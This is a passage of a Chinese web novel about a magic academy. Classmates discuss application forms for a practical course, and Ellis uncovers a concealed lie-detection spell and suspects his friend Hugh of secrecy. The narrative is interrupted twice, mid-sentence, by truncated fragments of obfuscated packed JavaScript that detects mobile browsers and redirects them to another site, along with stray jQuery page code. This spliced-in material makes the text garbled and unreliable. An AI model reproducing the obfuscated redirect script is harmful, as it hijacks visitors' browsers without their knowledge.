“我只是突然想到了这个魔法能改变颜色。”格洛瑞亚也学着玛莉安娜的样子一歪头，示意自己不知道。 “瑞尔，你总这样。”玛莉安娜半真半假地抱怨了一句，看了看周围逐渐坐满的座位，推了一把还在研究笔记颜色，试图让它们的颜色更浅一些的格洛瑞亚。 “下课再说。”玛莉安娜看着安塔莉也已经出现在了教室门口，遗憾地发现和格洛瑞亚的交流只能暂时到此为止了。 当然，玛莉安娜迅速地发现了安塔莉手里只剩了一张羊皮纸，正在被她折起来。 格洛瑞亚起身，平静地和笑容满面的安塔莉擦肩而过。 是的，格洛瑞亚在最开始上课的时候就决定坐得稍微靠前一些，在邀请玛莉安娜一起坐过去的时候，不出意外地被拒绝了。 于是很遗憾地，玛莉安娜没办法在课上和格洛瑞亚说小话了。 不过这样也很好，玛莉安娜愉快地在课下拿过格洛瑞亚的课本，满意地看着明显比自己准确且完整的课堂笔记，真诚地表示格洛瑞亚以后就坐前面好了，课上的愉快聊天谁都可以，完美的课堂笔记可是可遇不可求的好东西。 于是一上午的时间里，玛莉安娜和安塔莉在课堂的空隙里传了几回小纸条，非常遗憾地没有得到更多的小道消息，而在伊诺尔老师讲完了今日课程后，格洛瑞亚拿着自己的课本如约而至。 格洛瑞亚把书放在了玛莉安娜面前，一黑一红两个小脑袋就凑了上去。 “别翻页，我还没写完！”安塔莉尖叫着摁住想要翻页的玛莉安娜，手里的羽毛笔抖出了残影。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15407329|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“好好好我不翻你放开我！”玛莉安娜同样尖叫着，试图挣脱安塔莉铁钳一样用力的手。 看着玛莉安娜和安塔莉手里的笔一刻不停，格洛瑞亚冷静地坐到了前排没人的地方，想了想又走回座位，从书包里掏出了自己的水杯。 格洛瑞亚慢悠悠地把水喝了一半，玛莉安娜和安塔莉也终于把笔记补得七七八八了。 “你们两个今天上课没跟上？” “瑞尔你快回答我的问题！” 格洛瑞亚和玛莉安娜同时开口，安塔莉犹豫了一下，眼神往教室门口瞟了瞟，看在笔记的面子上没跑。 “我们传了一会纸条，安塔莉什么都不说。”玛莉安娜抱怨了两句，翻了翻笔记，觉得没什么缺漏，迅速把书塞进了书包深处。 安塔莉磨蹭着放慢了写字的速度，她不是很想参与面前两位同学的深厚情谊，她只想抄完她的笔记。 格洛瑞亚放下喝了一半的水杯，一把按住了自己的课本。 “班长，安塔莉。”格洛瑞亚看着坚决不抬头的安塔莉，恍惚感觉到了一份面对倔强的玛莉安娜的感觉，“说说吧，我们还有什么不知道的小道消息？” “和你送走的那叠羊皮纸有关系吗？” 玛莉安娜迅速补充，格洛瑞亚赞同地点头。 安塔莉遗憾地放开了自己的羽毛笔，她知道自己不说明白，今天这份笔记就要离自己远去了。 “好吧，我说。”安塔莉从另一本书里翻出来自己仔细收好的那张羊皮纸展开，递给更近一些的玛莉安娜。 玛莉安娜眨眨眼，拿着羊皮纸飞速凑到格洛瑞亚身边。 “申请表？”玛莉安娜一眼扫过去，不解地看着安塔莉，她完全不明白这有什么好藏起来的。 “你们有几个人要填申请表？”格洛瑞亚回忆了一下上课前安塔莉拿出去的那一叠，遗憾地表示自己实在是离得太远，完全没看清具体有多少张申请表。 “十多个吧？我也不知道。”安塔莉耸耸肩，示意自己真的不知道更多的事情了，“我只知道我大概给七八个人送了这张申请表，而且我只是给三年级的学长们送过去而已。” “一年级会全去，你送了七八张申请表，埃利斯说了他会去……”格洛瑞亚说着点了点那张申请表，“你们上一次也去了那么多人吗？” “就是上次没有这么多人才是小道消息啊……”安塔莉嘟嘟囔囔地，同样也很疑惑。 “哟，聊什么呐？”一个意想不到的声音突然出现，安塔莉坐在座位上差点窜出去。 玛莉安娜望天一个白眼，格洛瑞亚倒是很冷静。 “你来送什么消息吗？”格洛瑞亚看着毫不客气，一屁股坐在桌子上的埃利斯，有点想从书包里掏点饼干出来。 “我倒不知道我有什么值得分享的消息。” 埃利斯晃晃悠悠地继续说。 “但是我觉得有点事情想让你们分析一下。” 埃利斯挠挠头，看着居然有点不好意思。 “我觉得休有什么事情瞒着我。” 26.第26章 狐狸撒泼 埃利斯说完，一时间这个小圈子寂静无声。 然后玛莉安娜一歪头。 “所以？”玛莉安娜没懂，“你是想让我们说点什么吗？” 格洛瑞亚和安塔莉对视一眼，格洛瑞亚同样茫然地眨眨眼，安塔莉痛苦地捂住脸。 我好想跑，但是这个情况我跑不掉。 “那个，我们要不继续聊聊一起去的那个实践课吧？” 安塔莉努力打起精神，试图把话题转回到期末那场还没到来的实践课程。 “我最近总觉得休有什么事情瞒着我，但是我怎么问他，他都不说！”埃利斯生气地把桌子拍得啪啪响，看起来还有继续闹下去的趋势，“我甚至去问了奥罗拉！但是她也不说！” “今天奥罗拉没和你一起来？”格洛瑞亚横插一句，试图转移一下埃利斯的注意力，顺便把可怜的桌子从埃利斯手里拯救出来。 格洛瑞亚真心觉得埃利斯拍桌子的声音很大，有点吵。 “别拍了！这桌子质量不太好！”安塔莉大声试图阻止埃利斯，未果。 格洛瑞亚不动声色地揉了揉耳朵。 “奥罗拉说要自己去找休说点事情！”埃利斯拍桌子拍得更用力了，他完全把桌子当成了发泄不满的工具，“她说今天不让我跟着，打发我来找你们玩！” “桌子！这些桌子质量真的不太好……”这是还在努力阻止埃利斯破坏学院公共财产的安塔莉，但是玛莉安娜感觉安塔莉今天应该不太会成功。 埃利斯目前很明显不在乎外在事物，一门心思只想表达自己被好朋友抛下的委屈。 所以现在除了桌子在受伤，格洛瑞亚三人的头被吵得很痛，绝对评的上一个精神损伤。 埃利斯嘟嘟囔囔地继续发脾气，嘴里念叨着“当我小孩子吗！”“奥罗拉和休总这样！”“太过分了！”之类的，没注意到格洛瑞亚已经在试图拉着玛莉安娜慢慢挪远一些。 真的很吵。格洛瑞亚面无表情地想。 真不知道卢洛伦德和奥罗拉平时和埃利斯是怎么相处的。 玛莉安娜对视上了安塔莉，可怜的班长不动声色地捂住了自己的耳朵，已经悄无声息地离埃利斯隔了一个座位了。 埃利斯总算是发完了脾气，一扭头就发现格洛瑞亚三人已经在旁边重新凑在了一起，又在研究那张属于安塔莉的申请表。 “所以，你们都要填完这个东西……”玛莉安娜点了点那张摊在桌子上的申请表，面露不解，“才有可能一起去今年的实践课？为什么还是有可能？都申请了为什么不能都通过？” “或者干脆不申请？”玛莉安娜顿了顿，补充了一句。 “不知道啊……”安塔莉也被问懵了，她倒是没怎么思考过为什么还要填申请表这件事，她目前还只是非常习惯伊诺尔老师发布什么任务，她就按老师的要求去做。 “你们谁的申请表啊？”埃利斯凑过来，觉得桌子上的羊皮纸真是分外眼熟，摸着下巴想了半天，福至心灵地想起了自己在哪里看到过一样的东西。 “你也填了？”格洛瑞亚抬头，看向站在玛莉安娜身后的人。 埃利斯摆摆手，左右看了看，拖了一把椅子，大大咧咧地再次挤进了三个女孩围成的小圈子。 “没，我不用填这玩意，我跟着你们去是因为我要留校，这是我的留校的一部分要求中不知道为什么但是提前了的任务。” 埃利斯向安塔莉示意自己想拿近一些看，安塔莉就把羊皮纸从桌子上抓起来塞给他。 埃利斯仔细看了看，哼哼哧哧地笑出了声。 “这就是我为什么说‘休有事情瞒着我’。”埃利斯招了招手，示意格洛瑞亚把另一边的羽毛笔递给他。 格洛瑞亚好像也想到了什么一样，玛莉安娜觉得格洛瑞亚突然严肃了起来。 埃利斯拿到笔，刚准备下笔，犹豫了一下，把羊皮纸翻到了背面，开始写一些玛莉安娜和安塔莉看不懂的文字。 “这些是精灵语和古魔文的一些结合后的现代魔文，你们应该会在四年级或者五年级的时候学，具体什么时间要看你们的老师对你们的具体判断，我说不准。”仔仔细细写魔文的埃利斯看起来完全不再是那个大大咧咧的狐狸，反而非常有一种…… 靠谱的气质。玛莉安娜默默地想。 这种气质玛莉安娜经常能在身边的人身上感受到，比如她第一眼见到就觉得喜欢的伊诺尔老师，又比如目前在家，正在努力好好享受生活的乌忒娜和斯顿艾斯。 当然，格洛瑞亚也很‘靠谱’，但是玛莉安娜一直觉得是自己在照顾格洛瑞亚，帮助格洛瑞亚融入普通人的生活。格洛瑞亚对此毫无异议，非常享受这份照顾。 但是，当然啦。玛莉安娜偷偷笑了一下，在课堂笔记上的话，格洛瑞亚永远是最靠谱的那一个。 玛莉安娜思维发散地越来越远，没注意到埃利斯已经停笔。 “你来试试？”埃利斯写完了一堆魔文，满意地点点头，看着一脸茫然的安塔莉和略显严肃的格洛瑞亚，把羊皮纸一推，递到了格洛瑞亚面前。 格洛瑞亚一言不发地推了回去。 埃利斯耸耸肩，低声念叨了几句，同时轻轻拍了拍羊皮纸。 玛莉安娜惊悚地看着那张羊皮纸散发出了淡淡的红光。 “什么东西……”玛莉安娜猛地带着椅子往后一窜，及时被格洛瑞亚抓住。 “不是什么大事。”格洛瑞亚抓住被吓了一跳的玛莉安娜，转头安慰眼神里更加惊恐但是完全没有尖叫的安塔莉，“是一个，有点不常用的判定魔法，可能是方便老师们筛选人选。但是这个魔法藏的很好……” “休也填好了这个申请表，也已经交给了我们的指导老师。然后这个魔法……是‘日常魔法研究社’的研究方向之一。”埃利斯看着那张羊皮纸不再发光，平静地开口。 “是休研究了很久的一类实用魔法的用途，根本目的是为了测谎。但是目前为止……我是说，至少在之前，他和我说他没打算公开交给谁去使用。” “包括学院。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410503|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >格洛瑞亚不再说话了。 “我真的是不懂，休明明也已经重新提出了想要留校的申请，他还填这个表做什么？他就为了去一趟佐洛琳城？双管齐下？确保不出一点差错？” “那可能，卢洛伦德学长就是真的想去吧？”玛莉安娜的想法很简单，安塔莉在一旁犹豫了一下，还是有些赞同的点头。 格洛瑞亚没动，她不觉得佐洛琳城对卢洛伦德的吸引力有那么大，也不觉得安塔莉说的那些难得的材料和大师会让卢洛伦德花费自己更多的时间，甚至上交了一份自己目前还没有公开的研究。 “这不一样。”埃利斯又在羊皮纸上填了几笔敲了敲，那些被他写上的字迹就迅速消失，为此得到了玛莉安娜崇拜的一句无声赞叹。 格洛瑞亚看着消除了自己的笔迹，坐在原地皱眉叹气的埃利斯，一时间觉得无法理解。 她理解不了埃利斯此时此刻的烦躁和不解，就像她不理解那天晚上，伊诺尔老师为什么会隐瞒她一直知道卢洛伦德和埃利斯跟在后面，却一直不提出来，一定要等着他们自己闹出点动静，再被自己发现一样。 这大概是人的一些选择。格洛瑞亚平静地想。 人有目标，所以在达成目标的路途中，一定会有选择。 有些时候，这些选择只影响到做决定的那个人；但是有些时候，这些选择会影响到很多人。 而很多人的范围不只是身边的亲人、朋友，甚至可能不只是自己目前认识的所有人。 格洛瑞亚认同所有人做出的所有选择。 因为格洛瑞亚自认为，没有人的选择能影响到自己。 但是目前有一件很明显的事情。 卢洛伦德做出了某些选择，这个选择带上了奥罗拉，但是他们两个一致选择了把埃利斯从这个选择和未来可能达到了结果里剔除。 也许是为了保护埃利斯，也有可能是觉得埃利斯在自己的计划了帮不上忙，或者，觉得埃利斯在计划里碍手碍脚？ 什么可能都会有的，所以卢洛伦德默默隐瞒了许多，顺便带着奥罗拉一起，瞒住了埃利斯。 但是很明显，埃利斯真的不是什么能安分地被蒙在鼓里的人。 他会抓住任何蛛丝马迹，任何一把掀开任何人蒙在他眼前的那片纱。 “说说实践课程具体怎么进行可以吗？”格洛瑞亚平静地转向安塔莉，从玛莉安娜的书包里翻出了一个薄薄的笔记本。 “埃利斯学长，我建议你去找卢洛伦德学长，你们的矛盾最好还是自己解决。”格洛瑞亚示意玛莉安娜叫醒还沉浸在在低气压里的埃利斯。 被玛莉安娜叫起来，埃利斯无声地点了点头，很快离开了。 “他们会没事吧？”玛莉安娜有些担心。 “这可能就是朋友之间的一些小烦恼吧。”安塔莉带着些无奈地感慨。 朋友之间吗？ 格洛瑞亚点点桌子，抬头看了看窗外。 是个好天气。 希望以后经常能有这样的好天气。